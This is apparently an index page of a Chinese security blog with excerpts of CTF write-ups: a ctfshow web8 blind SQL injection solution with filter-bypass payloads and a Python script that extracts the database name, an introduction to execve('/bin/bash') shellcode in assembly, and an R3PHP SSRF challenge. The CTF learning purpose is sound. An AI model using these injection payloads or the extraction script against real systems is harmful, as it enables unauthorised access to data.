ctfshowWP

今后有关ctfshow的解题都会在这里 ctfshow web8 sql注入,不过过滤了很多东西,常见的and,union空格 但依旧可以通过 GET /index.php?id=2/**/or/**/true# GET /index.php?id=2/**/or/**/false# 来判断真假来注入 需要使用盲注,函数为ascii,原理就是比对 or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23 截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功 查询当前数据库的代码 import requests def check_id(id_value, position): # position 递增 url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#" response = requests.get(url, verify=False) # 长度大于 403 ASCII if len(response.content) > 403: ascii_value = chr(id_value) return ascii_value return None def main(): inp = "" position = 1 # 查询位置 while position <= 5: for i in range(0, 128): # 遍历ascii result = check_id(i, position) if result is not None: inp += result print(f"Position: {position}, ASCII: {result}") position += 1 break print(f"Final input: {inp}") if __name__ == "__main__": main() 查询到数据库名称为web8 ...

September 16, 2024 · 2 min · 316 words · neko

shellcode初探索

shellcode初探——helloShellcode 我曾在一篇博客里写过 安全就是一群点错技能树的程序员——有些甚至不是 很遗憾,我就是后者,对于c的理解仅仅存在于hello word,shellcode也是只存在与msfvenom 这次算是我第一次算是认真接触 ShellCode? 机器码? shellcode的本质上一段机器码,通常由汇编代码编译而成的最终产物,例如我想获得一个拉起bashshell的机器码需要做的是先获得一个bashshell的程序,在汇编中的他的写法是这样的 section .data bin_sh db '/bin/bash', 0x00 ; 字符串 "/bin/bash" section .text global _start _start: ; 调用 execve("/bin/bash", ["/bin/bash"], NULL) xor rax, rax ; 清除 rax mov rdi, bin_sh ; rdi 指向 "/bin/bash" push rax ; 在栈上压入 NULL (argv) mov rsi, rsp ; rsi 指向 argv 数组 push rax ; 在栈上压入 NULL (envp) mov rdx, rsp ; rdx 指向 envp 数组 mov al, 59 ; syscall 59 是 execve syscall ; 触发系统调用 这段代码通过系统调用execve执行了/bin/sh,要获得他的机器码需要先编译为可执行文件,而汇编到可执行文件有两步 ...

September 9, 2024 · 3 min · 491 words · neko

R3PHP wp

R3PHP 如果没有题解我绝对想不到 原题: <?php error_reporting(0); if(strpos($_REQUEST['url'],"http")===0){ $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>$_REQUEST['header']) ); $context = stream_context_create($opts); $file = file_get_contents($_REQUEST['url'], false, $context); // echo $file; # no show for u }else{ echo "hacker!"; } highlight_file(__FILE__); ?> 应该是出题人的人说 First, by reading the code, you can know that it is a blind ssrf, and then you can also pass the header header After casually entering a url, I found that 404 is phpstudy, and I can tell that it is a small skin panel of linux. The code of phpstudy Panel, audit found that all requests go through port 8090: ...

June 11, 2024 · 3 min · 602 words · neko